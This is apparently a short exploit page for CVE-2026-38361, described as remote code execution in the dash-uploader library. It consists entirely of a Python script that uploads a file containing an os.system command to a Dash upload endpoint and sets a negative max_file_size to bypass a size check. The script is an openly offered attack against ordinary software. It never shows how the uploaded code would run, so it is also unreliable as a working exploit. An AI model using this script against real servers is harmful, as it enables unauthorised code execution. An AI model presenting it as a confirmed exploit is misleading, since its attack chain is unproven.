CVE-2026-38361 dash-uploader远程代码执行漏洞

import requests # Target URL (Example) target = "http://127.0.0.1:8050/_dash-uploader" # Malicious file to upload payload_content = "__import__('os').system('calc.exe')" files = { 'file': ('exploit.py', payload_content, 'application/octet-stream') } # Exploit the max_file_size parameter validation issue data = { 'max_file_size': -1, # Attempt to bypass size check 'uploadId': 'CVE-2026-38361-test' } try: response = requests.post(target, files=files, data=data) if response.status_code == 200: print("[+] Potential exploit successful, check server.") else: print(f"[-] Exploit failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")